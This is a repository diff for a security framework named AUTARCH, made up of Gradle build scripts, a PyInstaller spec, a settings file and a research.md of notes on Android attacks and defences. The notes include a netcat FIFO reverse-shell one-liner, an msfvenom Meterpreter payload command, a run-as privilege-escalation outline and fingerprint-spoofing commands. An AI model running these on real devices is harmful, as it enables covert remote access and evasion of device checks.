# an unmatched quote.
|
||||
#
|
||||
|
||||
eval "set -- $(
|
||||
printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" |
|
||||
xargs -n1 |
|
||||
sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' |
|
||||
tr '\n' ' '
|
||||
)" '"$@"'
|
||||
|
||||
exec "$JAVACMD" "$@"
|
||||
93
autarch_companion/gradlew.bat
vendored
Normal file
93
autarch_companion/gradlew.bat
vendored
Normal file
@@ -0,0 +1,93 @@
|
||||
@rem
|
||||
@rem Copyright 2015 the original author or authors.
|
||||
@rem
|
||||
@rem Licensed under the Apache License, Version 2.0 (the "License");
|
||||
@rem you may not use this file except in compliance with the License.
|
||||
@rem You may obtain a copy of the License at
|
||||
@rem
|
||||
@rem https://www.apache.org/licenses/LICENSE-2.0
|
||||
@rem
|
||||
@rem Unless required by applicable law or agreed to in writing, software
|
||||
@rem distributed under the License is distributed on an "AS IS" BASIS,
|
||||
@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
@rem See the License for the specific language governing permissions and
|
||||
@rem limitations under the License.
|
||||
@rem
|
||||
@rem SPDX-License-Identifier: Apache-2.0
|
||||
@rem
|
||||
|
||||
@if "%DEBUG%"=="" @echo off
|
||||
@rem ##########################################################################
|
||||
@rem
|
||||
@rem Gradle startup script for Windows
|
||||
@rem
|
||||
@rem ##########################################################################
|
||||
|
||||
@rem Set local scope for the variables with windows NT shell
|
||||
if "%OS%"=="Windows_NT" setlocal
|
||||
|
||||
set DIRNAME=%~dp0
|
||||
if "%DIRNAME%"=="" set DIRNAME=.
|
||||
@rem This is normally unused
|
||||
set APP_BASE_NAME=%~n0
|
||||
set APP_HOME=%DIRNAME%
|
||||
|
||||
@rem Resolve any "." and ".." in APP_HOME to make it shorter.
|
||||
for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
|
||||
|
||||
@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
|
||||
set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
|
||||
|
||||
@rem Find java.exe
|
||||
if defined JAVA_HOME goto findJavaFromJavaHome
|
||||
|
||||
set JAVA_EXE=java.exe
|
||||
%JAVA_EXE% -version >NUL 2>&1
|
||||
if %ERRORLEVEL% equ 0 goto execute
|
||||
|
||||
echo. 1>&2
|
||||
echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2
|
||||
echo. 1>&2
|
||||
echo Please set the JAVA_HOME variable in your environment to match the 1>&2
|
||||
echo location of your Java installation. 1>&2
|
||||
|
||||
goto fail
|
||||
|
||||
:findJavaFromJavaHome
|
||||
set JAVA_HOME=%JAVA_HOME:"=%
|
||||
set JAVA_EXE=%JAVA_HOME%/bin/java.exe
|
||||
|
||||
if exist "%JAVA_EXE%" goto execute
|
||||
|
||||
echo. 1>&2
|
||||
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2
|
||||
echo. 1>&2
|
||||
echo Please set the JAVA_HOME variable in your environment to match the 1>&2
|
||||
echo location of your Java installation. 1>&2
|
||||
|
||||
goto fail
|
||||
|
||||
:execute
|
||||
@rem Setup the command line
|
||||
|
||||
|
||||
|
||||
@rem Execute Gradle
|
||||
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %*
|
||||
|
||||
:end
|
||||
@rem End local scope for the variables with windows NT shell
|
||||
if %ERRORLEVEL% equ 0 goto mainEnd
|
||||
|
||||
:fail
|
||||
rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
|
||||
rem the _cmd.exe /c_ return code!
|
||||
set EXIT_CODE=%ERRORLEVEL%
|
||||
if %EXIT_CODE% equ 0 set EXIT_CODE=1
|
||||
if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE%
|
||||
exit /b %EXIT_CODE%
|
||||
|
||||
:mainEnd
|
||||
if "%OS%"=="Windows_NT" endlocal
|
||||
|
||||
:omega
|
||||
293
autarch_companion/research.md
Normal file
293
autarch_companion/research.md
Normal file
@@ -0,0 +1,293 @@
|
||||
# Archon Research — Consolidated Findings
|
||||
## darkHal Security Group — Project AUTARCH
|
||||
**Last Updated:** 2026-02-20
|
||||
|
||||
---
|
||||
|
||||
## 1. On-Device LLM Engines
|
||||
|
||||
### SmolChat-Android (Recommended)
|
||||
- **Source:** https://github.com/shubham0204/SmolChat-Android
|
||||
- **License:** Apache 2.0
|
||||
- **Stack:** Kotlin + llama.cpp JNI bindings
|
||||
- **Key feature:** `smollm` module is an embeddable Android library — 2-class Kotlin API
|
||||
- **Model format:** GGUF (huge ecosystem on HuggingFace)
|
||||
- **Performance:** Auto-detects CPU SIMD, has ARMv8.4 SVE optimized builds
|
||||
- **Integration:** Streaming via Kotlin Flow, context tracking, chat templates from GGUF metadata
|
||||
- **What it doesn't have:** No tool-calling — we add that via Koog (below)
|
||||
- **Recommended models:** Qwen3-0.6B-Q4_K_M (tiny, fast) or SmolLM3-3B-Q4 (better quality)
|
||||
- **Status:** Best choice for inference engine. Embed `smollm` module into Archon.
|
||||
|
||||
### mllm
|
||||
- **Source:** https://github.com/UbiquitousLearning/mllm
|
||||
- **License:** MIT
|
||||
- **Stack:** C++20 custom engine
|
||||
- **Key feature:** Multimodal (vision + text — Qwen2-VL, DeepSeek-OCR), Qualcomm QNN NPU acceleration
|
||||
- **Model format:** Custom `.mllm` (must convert from HuggingFace, NOT GGUF)
|
||||
- **Drawback:** Much harder to integrate, custom format limits model selection
|
||||
- **Status:** Consider for future multimodal features (OCR scanning, photo analysis). Not for initial integration.
|
||||
|
||||
---
|
||||
|
||||
## 2. AI Agent Frameworks
|
||||
|
||||
### Koog AI (Recommended for Archon)
|
||||
- **Source:** https://docs.koog.ai/
|
||||
- **License:** Apache 2.0 (JetBrains)
|
||||
- **Stack:** Pure Kotlin, Kotlin Multiplatform — officially supports Android
|
||||
- **Key features:**
|
||||
- 9 LLM providers including Ollama (local) and cloud (OpenAI, Anthropic)
|
||||
- First-class tool-calling with class-based tools (works on Android)
|
||||
- Agent memory, persistence, checkpoints, history compression
|
||||
- Structured output via kotlinx.serialization
|
||||
- GOAP planner (A* search for action planning — game AI technique)
|
||||
- MCP integration (discover/use external tools)
|
||||
- Multi-agent: agents-as-tools, agent-to-agent protocol
|
||||
- **Version:** 0.6.2
|
||||
- **Integration:** `implementation("ai.koog:koog-agents:0.6.2")` — single Gradle dependency
|
||||
- **Why it's the answer:** Native Kotlin, class-based tools on Android, GOAP planner maps perfectly to security workflows (Goal: "Protect device" → Actions: scan → identify → restrict → revoke)
|
||||
- **Status:** Best choice for agent layer. Combine with SmolChat for fully offline operation.
|
||||
|
||||
### SmolChat + Koog Combo
|
||||
- SmolChat provides the on-device inference engine (GGUF/llama.cpp)
|
||||
- Koog provides the agent framework (tools, planning, memory, structured output)
|
||||
- Together: fully autonomous, fully offline security AI agent on the phone
|
||||
- Implementation: define security tools as Koog class-based tools, wrap PrivilegeManager.execute() as execution backend
|
||||
|
||||
### GitHub Copilot SDK
|
||||
- **Source:** https://github.com/github/copilot-sdk
|
||||
- **License:** MIT (SDK), proprietary (CLI binary ~61MB)
|
||||
- **Stack:** Python/TypeScript/Go/.NET SDKs
|
||||
- **Key features:** BYOK mode (Ollama local), MCP integration, linux-arm64 binary exists
|
||||
- **Drawback:** CLI binary is closed-source proprietary. We already have our own LLM backends + MCP server. Adds another orchestration layer on top of what we built.
|
||||
- **Status:** Not needed. Our own agent system (core/agent.py + core/tools.py) is better tailored.
|
||||
|
||||
---
|
||||
|
||||
## 3. ADB Exploitation & Automation
|
||||
|
||||
### PhoneSploit-Pro
|
||||
- **Source:** https://github.com/AzeezIsh/PhoneSploit-Pro
|
||||
- **License:** GPL-3.0
|
||||
- **What:** Python ADB automation framework (40+ exploits/actions)
|
||||
- **Capabilities:** Screen capture, app management, file transfer, keylogging, device info dumping, network analysis, shell access, APK extraction, location spoofing
|
||||
- **Relevance:** Reference for ADB command patterns. Many of its techniques are already in our ShieldModule and HoneypotModule.
|
||||
- **Status:** Reference material. We implement our own versions with better safety controls.
|
||||
|
||||
---
|
||||
|
||||
## 4. Android Reverse Shell Techniques
|
||||
|
||||
### Technique 1: Java ProcessBuilder + Socket (Our Approach)
|
||||
```java
|
||||
// Connect back to server, pipe shell I/O over socket
|
||||
Socket socket = new Socket(serverIp, serverPort);
|
||||
ProcessBuilder pb = new ProcessBuilder("sh");
|
||||
Process process = pb.start();
|
||||
// Forward process stdin/stdout over socket
|
||||
```
|
||||
- **Privilege:** Runs at whatever UID the process has
|
||||
- **Our twist:** Run via `app_process` at UID 2000 (shell level)
|
||||
- **Advantage:** No external tools needed, pure Java, clean control flow
|
||||
|
||||
### Technique 2: Netcat + FIFO
|
||||
```bash
|
||||
mkfifo /data/local/tmp/f
|
||||
cat /data/local/tmp/f | sh -i 2>&1 | nc $SERVER_IP $PORT > /data/local/tmp/f
|
||||
```
|
||||
- **Requires:** `nc` (netcat) available on device
|
||||
- **Advantage:** Simple, works from any shell
|
||||
- **Disadvantage:** No auth, no encryption, no special commands
|
||||
|
||||
### Technique 3: msfvenom Payloads
|
||||
```bash
|
||||
msfvenom -p android/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 -o payload.apk
|
||||
```
|
||||
- **Generates:** Standalone APK with Meterpreter payload
|
||||
- **Meterpreter types:** reverse_tcp, reverse_http, reverse_https
|
||||
- **Disadvantage:** Detected by AV, requires separate app install, no shell-level access, external Metasploit dependency
|
||||
- **Our approach is superior:** Already embedded in Archon, shell-level UID 2000, token auth, command safety blocklist
|
||||
|
||||
---
|
||||
|
||||
## 5. Android Privilege Escalation
|
||||
|
||||
### CVE-2024-0044 / CVE-2024-31317: Run-As Any UID (Android 12-14)
|
||||
- **Disclosed by:** Meta security researchers
|
||||
- **Severity:** Critical — full root access on unpatched devices
|
||||
- **Affected:** Android 12, 13, 14 (patched in 14 QPR2 and Android 15)
|
||||
- **Mechanism:** The `run-as` command trusts package data from `/data/system/packages.list`. At shell level (UID 2000), we can exploit a TOCTOU race to make `run-as` switch to ANY UID, including UID 0 (root) or UID 1000 (system).
|
||||
- **Steps:**
|
||||
1. Shell can write to `/data/local/tmp/`
|
||||
2. Exploit the TOCTOU race in how `run-as` reads package info
|
||||
3. `run-as` runs as UID 2000 but switches context to target UID
|
||||
- **Archon action:** Detection module that checks if device is vulnerable. If so, can use for legitimate protection (installing protective system-level hooks that persist until reboot).
|
||||
|
||||
### Shell-Level Capabilities (UID 2000)
|
||||
Full command access without root:
|
||||
- `pm` — install, uninstall, disable, grant/revoke permissions
|
||||
- `am` — start activities, broadcast, force-stop processes
|
||||
- `settings` — read/write system, secure, global settings
|
||||
- `dumpsys` — dump any system service state
|
||||
- `cmd` — direct commands to system services (appops, jobscheduler, connectivity)
|
||||
- `content` — query/modify content providers (contacts, SMS, call log)
|
||||
- `service call` — raw Binder IPC (clipboard, etc.)
|
||||
- `input` — inject touch/key events (UI automation)
|
||||
- `screencap`/`screenrecord` — capture display
|
||||
- `svc` — control wifi, data, power, USB, NFC
|
||||
- `dpm` — device policy manager (remove device admins)
|
||||
- `logcat` — system logs
|
||||
- `run-as` — switch to debuggable app context
|
||||
|
||||
### What Shell CANNOT Do (Root Required)
|
||||
- Write to /system, /vendor, /product
|
||||
- `setenforce 0` (set SELinux permissive)
|
||||
- Access other apps' /data/data/ directly
|
||||
- Load/unload kernel modules
|
||||
- iptables/nftables (CAP_NET_ADMIN)
|
||||
- Mount/unmount filesystems
|
||||
|
||||
---
|
||||
|
||||
## 6. Anti-Forensics (Anti-Cellebrite)
|
||||
|
||||
Cellebrite UFED and similar forensic tools attack vectors:
|
||||
- ADB exploitation (need ADB enabled or USB exploit)
|
||||
- Bootloader-level extraction
|
||||
- Known CVE exploitation chains
|
||||
- Content provider dumping
|
||||
|
||||
### Shell-Level Defenses
|
||||
```bash
|
||||
# USB Lockdown
|
||||
svc usb setFunctions charging
|
||||
settings put global adb_enabled 0
|
||||
|
||||
# Detect Cellebrite (known USB vendor IDs, rapid content query storms)
|
||||
# Monitor USB events: /proc/bus/usb/devices
|
||||
|
||||
# Emergency data protection on forensic detection:
|
||||
# - Revoke all app permissions
|
||||
# - Clear clipboard (service call clipboard)
|
||||
# - Force-stop sensitive apps
|
||||
# - Disable USB debugging
|
||||
# - Change lock to maximum security
|
||||
```
|
||||
|
||||
### Architecture for Archon
|
||||
- Background monitoring thread: USB events + logcat
|
||||
- Forensic tool USB vendor ID database
|
||||
- Configurable responses: lockdown / alert / wipe sensitive / plant decoys
|
||||
- "Duress PIN" concept: specific PIN triggers data protection
|
||||
|
||||
---
|
||||
|
||||
## 7. Anti-Spyware (Anti-Pegasus)
|
||||
|
||||
NSO Group's Pegasus and similar state-level spyware use:
|
||||
- Zero-click exploits via iMessage, WhatsApp, SMS
|
||||
- Kernel exploits for persistence
|
||||
- Memory-only implants (no files on disk)
|
||||
|
||||
### Shell-Level Monitoring
|
||||
```bash
|
||||
# Suspicious process detection
|
||||
dumpsys activity processes | grep -i "pegasus\|chrysaor"
|
||||
|
||||
# Hidden processes (deleted exe links = classic implant pattern)
|
||||
cat /proc/*/maps 2>/dev/null | grep -E "rwxp.*deleted"
|
||||
|
||||
# Exploit indicators in logs
|
||||
logcat -d | grep -iE "exploit|overflow|heap|spray|jit"
|
||||
|
||||
# Unauthorized root checks
|
||||
ls -la /system/xbin/su /system/bin/su /sbin/su 2>/dev/null
|
||||
cat /sys/fs/selinux/enforce # 1=enforcing, 0=permissive
|
||||
|
||||
# Certificate injection (MITM)
|
||||
ls /data/misc/user/0/cacerts-added/ 2>/dev/null
|
||||
|
||||
# Known spyware package patterns
|
||||
pm list packages | grep -iE "com\.network\.|com\.service\.|bridge|carrier"
|
||||
```
|
||||
|
||||
### Archon Shield Integration
|
||||
- Periodic background scans (configurable interval)
|
||||
- Known C2 IP/domain database (updated from AUTARCH server)
|
||||
- Process anomaly detection (unexpected UIDs, deleted exe links)
|
||||
- Network connection monitoring against threat intel
|
||||
|
||||
---
|
||||
|
||||
## 8. Device Fingerprint Manipulation
|
||||
|
||||
### Play Integrity Levels
|
||||
1. **MEETS_BASIC_INTEGRITY** — Can be satisfied with prop spoofing
|
||||
2. **MEETS_DEVICE_INTEGRITY** — Requires matching CTS profile
|
||||
3. **MEETS_STRONG_INTEGRITY** — Hardware attestation (impossible to fake at shell level)
|
||||
|
||||
### Shell-Level Spoofing
|
||||
```bash
|
||||
# Android ID rotation
|
||||
settings put secure android_id $(cat /dev/urandom | tr -dc 'a-f0-9' | head -c 16)
|
||||
|
||||
# Build fingerprint spoofing
|
||||
setprop ro.build.fingerprint "google/raven/raven:14/UP1A.231005.007:user/release-keys"
|
||||
setprop ro.product.model "Pixel 6 Pro"
|
||||
|
||||
# "Old device" trick (bypass hardware attestation requirement)
|
||||
setprop ro.product.first_api_level 28 # Pretend shipped with Android 9
|
||||
```
|
||||
|
||||
### Donor Key Approach
|
||||
- Valid attestation certificate chains from donor devices could theoretically be replayed
|
||||
- Keys are burned into TEE/SE at factory
|
||||
- Google revokes leaked keys quickly
|
||||
- Legally/ethically complex — research only
|
||||
|
||||
---
|
||||
|
||||
## 9. Samsung S20/S21 Specifics (TODO)
|
||||
|
||||
### JTAG/Debug Access
|
||||
- JTAG pinpoints and schematics for S20/S21 hardware debugging
|
||||
- Bootloader weakness analysis (Samsung Knox, secure boot chain)
|
||||
- Secureboot partition dumping techniques
|
||||
|
||||
### Hardening Guide
|
||||
- Samsung-specific security settings and Knox configuration
|
||||
- Tool section for Samsung devices
|
||||
|
||||
**Status:** Research needed — not yet documented.
|
||||
|
||||
---
|
||||
|
||||
## 10. Future: LLM Suite Architecture
|
||||
|
||||
### Recommended Stack
|
||||
```
|
||||
┌──────────────────────────────────────┐
|
||||
│ Koog AI Agent Layer │
|
||||
│ (tools, GOAP planner, memory) │
|
||||
├──────────────────────────────────────┤
|
||||
│ SmolChat smollm Module │
|
||||
│ (GGUF inference, llama.cpp JNI) │
|
||||
├──────────────────────────────────────┤
|
||||
│ Security Tools (Kotlin) │
|
||||
│ (ScanPackagesTool, │
|
||||
│ RestrictTrackerTool, etc.) │
|
||||
├──────────────────────────────────────┤
|
||||
│ PrivilegeManager │
|
||||
│ (ROOT/ARCHON_SERVER/ADB/NONE) │
|
||||
└──────────────────────────────────────┘
|
||||
```
|
||||
|
||||
### Integration Steps
|
||||
1. Add `smollm` as module dependency (embeds llama.cpp JNI)
|
||||
2. Add `koog-agents` Gradle dependency
|
||||
3. Define security tools as Koog class-based tools
|
||||
4. Create "Security Guardian" agent with GOAP planner
|
||||
5. Can run fully offline (on-device GGUF) or via Ollama on AUTARCH server
|
||||
6. Agent autonomously monitors and responds to threats
|
||||
|
||||
**Status:** Future phase — implement after reverse shell is complete.
|
||||
18
autarch_companion/settings.gradle.kts
Normal file
18
autarch_companion/settings.gradle.kts
Normal file
@@ -0,0 +1,18 @@
|
||||
pluginManagement {
|
||||
repositories {
|
||||
google()
|
||||
mavenCentral()
|
||||
gradlePluginPortal()
|
||||
}
|
||||
}
|
||||
dependencyResolutionManagement {
|
||||
repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS)
|
||||
repositories {
|
||||
google()
|
||||
mavenCentral()
|
||||
maven { url = uri("https://jitpack.io") }
|
||||
}
|
||||
}
|
||||
|
||||
rootProject.name = "Archon"
|
||||
include(":app")
|
||||
287
autarch_public.spec
Normal file
287
autarch_public.spec
Normal file
@@ -0,0 +1,287 @@
|
||||
# -*- mode: python ; coding: utf-8 -*-
|
||||
# PyInstaller spec for AUTARCH Public Release
|
||||
#
|
||||
# Build: pyinstaller autarch_public.spec
|
||||
# Output: dist/autarch/
|
||||
# ├── autarch.exe (CLI — full framework, console window)
|
||||
# └── autarch_web.exe (Web — double-click to launch dashboard + tray icon, no console)
|
||||
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
SRC = Path(SPECPATH)
|
||||
|
||||
block_cipher = None
|
||||
|
||||
# ── Data files (non-Python assets to bundle) ─────────────────────────────────
|
||||
# Only include files that actually exist to prevent build failures
|
||||
_candidate_files = [
|
||||
# Web assets
|
||||
(SRC / 'web' / 'templates', 'web/templates'),
|
||||
(SRC / 'web' / 'static', 'web/static'),
|
||||
|
||||
# Data (SQLite DBs, site lists, config defaults)
|
||||
(SRC / 'data', 'data'),
|
||||
|
||||
# Modules directory (dynamically loaded at runtime)
|
||||
(SRC / 'modules', 'modules'),
|
||||
|
||||
# Icon
|
||||
(SRC / 'autarch.ico', '.'),
|
||||
|
||||
# DNS server binary
|
||||
(SRC / 'services' / 'dns-server' / 'autarch-dns.exe', 'services/dns-server'),
|
||||
|
||||
# Root-level config and docs
|
||||
(SRC / 'autarch_settings.conf', '.'),
|
||||
(SRC / 'user_manual.md', '.'),
|
||||
(SRC / 'windows_manual.md', '.'),
|
||||
(SRC / 'custom_sites.inf', '.'),
|
||||
(SRC / 'custom_adultsites.json', '.'),
|
||||
]
|
||||
|
||||
added_files = [(str(src), dst) for src, dst in _candidate_files if src.exists()]
|
||||
|
||||
# ── Hidden imports ────────────────────────────────────────────────────────────
|
||||
hidden_imports = [
|
||||
# Flask ecosystem
|
||||
'flask', 'flask.templating', 'jinja2', 'jinja2.ext',
|
||||
'werkzeug', 'werkzeug.serving', 'werkzeug.debug',
|
||||
'markupsafe',
|
||||
|
||||
# Core libraries
|
||||
'bcrypt', 'requests', 'msgpack', 'pyserial', 'qrcode', 'PIL',
|
||||
'PIL.Image', 'PIL.ImageDraw', 'PIL.ImageFont', 'cryptography',
|
||||
|
||||
# System tray
|
||||
'pystray', 'pystray._win32',
|
||||
|
||||
# AUTARCH core modules
|
||||
'core.config', 'core.paths', 'core.banner', 'core.menu', 'core.tray',
|
||||
'core.llm', 'core.agent', 'core.tools',
|
||||
'core.msf', 'core.msf_interface',
|
||||
'core.hardware', 'core.android_protect',
|
||||
'core.upnp', 'core.wireshark', 'core.wireguard',
|
||||
'core.mcp_server', 'core.discovery',
|
||||
'core.osint_db', 'core.nvd',
|
||||
'core.model_router', 'core.rules', 'core.autonomy',
|
||||
|
||||
# Web routes (Flask blueprints)
|
||||
'web.app', 'web.auth',
|
||||
'web.routes.auth_routes',
|
||||
'web.routes.dashboard',
|
||||
'web.routes.defense',
|
||||
'web.routes.offense',
|
||||
'web.routes.counter',
|
||||
'web.routes.analyze',
|
||||
'web.routes.osint',
|
||||
'web.routes.simulate',
|
||||
'web.routes.settings',
|
||||
'web.routes.upnp',
|
||||
'web.routes.wireshark',
|
||||
'web.routes.hardware',
|
||||
'web.routes.android_exploit',
|
||||
'web.routes.iphone_exploit',
|
||||
'web.routes.android_protect',
|
||||
'web.routes.wireguard',
|
||||
'web.routes.revshell',
|
||||
'web.routes.archon',
|
||||
'web.routes.msf',
|
||||
'web.routes.chat',
|
||||
'web.routes.targets',
|
||||
'web.routes.encmodules',
|
||||
'web.routes.llm_trainer',
|
||||
'web.routes.autonomy',
|
||||
'web.routes.loadtest',
|
||||
'web.routes.phishmail',
|
||||
'web.routes.dns_service',
|
||||
'web.routes.ipcapture',
|
||||
'web.routes.hack_hijack',
|
||||
'web.routes.password_toolkit',
|
||||
'web.routes.webapp_scanner',
|
||||
'web.routes.report_engine',
|
||||
'web.routes.net_mapper',
|
||||
'web.routes.c2_framework',
|
||||
'web.routes.wifi_audit',
|
||||
'web.routes.threat_intel',
|
||||
'web.routes.steganography',
|
||||
'web.routes.api_fuzzer',
|
||||
'web.routes.ble_scanner',
|
||||
'web.routes.forensics',
|
||||
'web.routes.rfid_tools',
|
||||
'web.routes.cloud_scan',
|
||||
'web.routes.malware_sandbox',
|
||||
'web.routes.log_correlator',
|
||||
'web.routes.anti_forensics',
|
||||
'web.routes.vuln_scanner',
|
||||
'web.routes.exploit_dev',
|
||||
'web.routes.social_eng',
|
||||
'web.routes.ad_audit',
|
||||
'web.routes.mitm_proxy',
|
||||
'web.routes.pineapple',
|
||||
'web.routes.deauth',
|
||||
'web.routes.reverse_eng',
|
||||
'web.routes.sdr_tools',
|
||||
'web.routes.container_sec',
|
||||
'web.routes.email_sec',
|
||||
'web.routes.incident_resp',
|
||||
'modules.loadtest',
|
||||
'modules.phishmail',
|
||||
'modules.ipcapture',
|
||||
'modules.hack_hijack',
|
||||
'modules.password_toolkit',
|
||||
'modules.webapp_scanner',
|
||||
'modules.report_engine',
|
||||
'modules.net_mapper',
|
||||
'modules.c2_framework',
|
||||
'modules.wifi_audit',
|
||||
'modules.threat_intel',
|
||||
'modules.steganography',
|
||||
'modules.api_fuzzer',
|
||||
'modules.ble_scanner',
|
||||
'modules.forensics',
|
||||
'modules.rfid_tools',
|
||||
'modules.cloud_scan',
|
||||
'modules.malware_sandbox',
|
||||
'modules.log_correlator',
|
||||
'modules.anti_forensics',
|
||||
'modules.vuln_scanner',
|
||||
'modules.exploit_dev',
|
||||
'modules.social_eng',
|
||||
'modules.ad_audit',
|
||||
'modules.mitm_proxy',
|
||||
'modules.pineapple',
|
||||
'modules.deauth',
|
||||
'modules.reverse_eng',
|
||||
'modules.sdr_tools',
|
||||
'modules.container_sec',
|
||||
'modules.email_sec',
|
||||
'modules.incident_resp',
|
||||
'modules.starlink_hack',
|
||||
'modules.sms_forge',
|
||||
'web.routes.starlink_hack',
|
||||
'web.routes.sms_forge',
|
||||
'modules.rcs_tools',
|
||||
'web.routes.rcs_tools',
|
||||
'core.dns_service',
|
||||
|
||||
# Standard library (sometimes missed on Windows)
|
||||
'email.mime.text', 'email.mime.multipart',
|
||||
'xml.etree.ElementTree',
|
||||
'sqlite3', 'json', 'logging', 'logging.handlers',
|
||||
'threading', 'queue', 'uuid', 'hashlib', 'zlib',
|
||||
'configparser', 'platform', 'socket', 'shutil',
|
||||
'importlib', 'importlib.util', 'importlib.metadata',
|
||||
'webbrowser', 'ssl',
|
||||
]
|
||||
|
||||
excludes = [
|
||||
# Exclude heavy optional deps not needed at runtime
|
||||
'torch', 'transformers',
|
||||
'tkinter', 'matplotlib', 'numpy',
|
||||
# CUDA / quantization libraries
|
||||
'bitsandbytes',
|
||||
# HuggingFace ecosystem
|
||||
'huggingface_hub', 'safetensors', 'tokenizers',
|
||||
# MCP/uvicorn/starlette
|
||||
'mcp', 'uvicorn', 'starlette', 'anyio', 'httpx', 'httpx_sse',
|
||||
'httpcore', 'h11', 'h2', 'hpack', 'hyperframe',
|
||||
# Pydantic
|
||||
'pydantic', 'pydantic_core', 'pydantic_settings',
|
||||
# Other heavy packages
|
||||
'scipy', 'pandas', 'tensorflow', 'keras',
|
||||
'IPython', 'notebook', 'jupyterlab',
|
||||
'fsspec', 'rich', 'typer',
|
||||
]
|
||||
|
||||
# ── Analysis for CLI entry point ─────────────────────────────────────────────
|
||||
a_cli = Analysis(
|
||||
['autarch.py'],
|
||||
pathex=[str(SRC)],
|
||||
binaries=[],
|
||||
datas=added_files,
|
||||
hiddenimports=hidden_imports,
|
||||
hookspath=[],
|
||||
hooksconfig={},
|
||||
runtime_hooks=[],
|
||||
excludes=excludes,
|
||||
noarchive=False,
|
||||
optimize=0,
|
||||
)
|
||||
|
||||
# ── Analysis for Web entry point ─────────────────────────────────────────────
|
||||
a_web = Analysis(
|
||||
['autarch_web.py'],
|
||||
pathex=[str(SRC)],
|
||||
binaries=[],
|
||||
datas=added_files,
|
||||
hiddenimports=hidden_imports,
|
||||
hookspath=[],
|
||||
hooksconfig={},
|
||||
runtime_hooks=[],
|
||||
excludes=excludes,
|
||||
noarchive=False,
|
||||
optimize=0,
|
||||
)
|
||||
|
||||
# ── Merge analyses (shared libraries only stored once) ───────────────────────
|
||||
MERGE(
|
||||
(a_cli, 'autarch', 'autarch'),
|
||||
(a_web, 'autarch_web', 'autarch_web'),
|
||||
)
|
||||
|
||||
# ── CLI executable (console window) ─────────────────────────────────────────
|
||||
pyz_cli = PYZ(a_cli.pure, a_cli.zipped_data, cipher=block_cipher)
|
||||
exe_cli = EXE(
|
||||
pyz_cli,
|
||||
a_cli.scripts,
|
||||
[],
|
||||
exclude_binaries=True,
|
||||
name='autarch',
|
||||
debug=False,
|
||||
bootloader_ignore_signals=False,
|
||||
strip=False,
|
||||
upx=True,
|
||||
console=True,
|
||||
disable_windowed_traceback=False,
|
||||
argv_emulation=False,
|
||||
target_arch=None,
|
||||
codesign_identity=None,
|
||||
entitlements_file=None,
|
||||
icon=str(SRC / 'autarch.ico'),
|
||||
)
|
||||
|
||||
# ── Web executable (NO console window — tray icon only) ─────────────────────
|
||||
pyz_web = PYZ(a_web.pure, a_web.zipped_data, cipher=block_cipher)
|
||||
exe_web = EXE(
|
||||
pyz_web,
|
||||
a_web.scripts,
|
||||
[],
|
||||
exclude_binaries=True,
|
||||
name='autarch_web',
|
||||
debug=False,
|
||||
bootloader_ignore_signals=False,
|
||||
strip=False,
|
||||
upx=True,
|
||||
console=False, # <-- No console window
|
||||
disable_windowed_traceback=False,
|
||||
argv_emulation=False,
|
||||
target_arch=None,
|
||||
codesign_identity=None,
|
||||
entitlements_file=None,
|
||||
icon=str(SRC / 'autarch.ico'),
|
||||
)
|
||||
|
||||
# ── Collect everything into one directory ────────────────────────────────────
|
||||
coll = COLLECT(
|
||||
exe_cli,
|
||||
a_cli.binaries,
|
||||
a_cli.datas,
|
||||
exe_web,
|
||||
a_web.binaries,
|
||||
a_web.datas,
|
||||
strip=False,
|
||||
upx=True,
|
||||
upx_exclude=[],
|
||||
name='autarch',
|
||||
)
|
||||
151
autarch_settings.conf
Normal file
151
autarch_settings.conf
Normal file
@@ -0,0 +1,151 @@
|
||||
[llama]
|
||||
model_path = C:\she\autarch\models\darkHal.gguf
|
||||
n_ctx = 2048
|
||||
n_threads = 4
|
||||
n_gpu_layers = -1
|
||||
temperature = 0.7
|
||||
top_p = 0.9
|
||||
top_k = 40
|
||||
repeat_penalty = 1.1
|
||||
max_tokens = 1024
|
||||
seed = -1
|
||||
n_batch = 512
|
||||
rope_scaling_type = 0
|
||||
mirostat_mode = 0
|
||||
mirostat_tau = 5.0
|
||||
mirostat_eta = 0.1
|
||||
flash_attn = false
|
||||
gpu_backend = vulkan
|
||||
|
||||
[autarch]
|
||||
first_run = false
|
||||
modules_path = modules
|
||||
verbose = false
|
||||
llm_backend = local
|
||||
quiet = false
|
||||
no_banner = false
|
||||
|
||||
[msf]
|
||||
host = 127.0.0.1
|
||||
port = 55553
|
||||
username = msf
|
||||
password = msdf
|
||||
ssl = true
|
||||
|
||||
[osint]
|
||||
max_threads = 8
|
||||
timeout = 8
|
||||
include_nsfw = true
|
||||
|
||||
[transformers]
|
||||
model_path = C:\she\autarch\models\Lily-Cybersecurity-7B-v0.2
|
||||
device = xpu
|
||||
torch_dtype = auto
|
||||
load_in_8bit = false
|
||||
load_in_4bit = true
|
||||
trust_remote_code = false
|
||||
max_tokens = 1024
|
||||
temperature = 0.7
|
||||
top_p = 0.9
|
||||
top_k = 40
|
||||
repetition_penalty = 1.1
|
||||
use_fast_tokenizer = true
|
||||
padding_side = left
|
||||
do_sample = true
|
||||
num_beams = 1
|
||||
llm_int8_enable_fp32_cpu_offload = false
|
||||
device_map = auto
|
||||
|
||||
[claude]
|
||||
api_key =
|
||||
model = claude-sonnet-4-20250514
|
||||
max_tokens = 4096
|
||||
temperature = 0.7
|
||||
|
||||
[pentest]
|
||||
max_pipeline_steps = 50
|
||||
output_chunk_size = 2000
|
||||
auto_execute = false
|
||||
save_raw_output = true
|
||||
|
||||
[rsf]
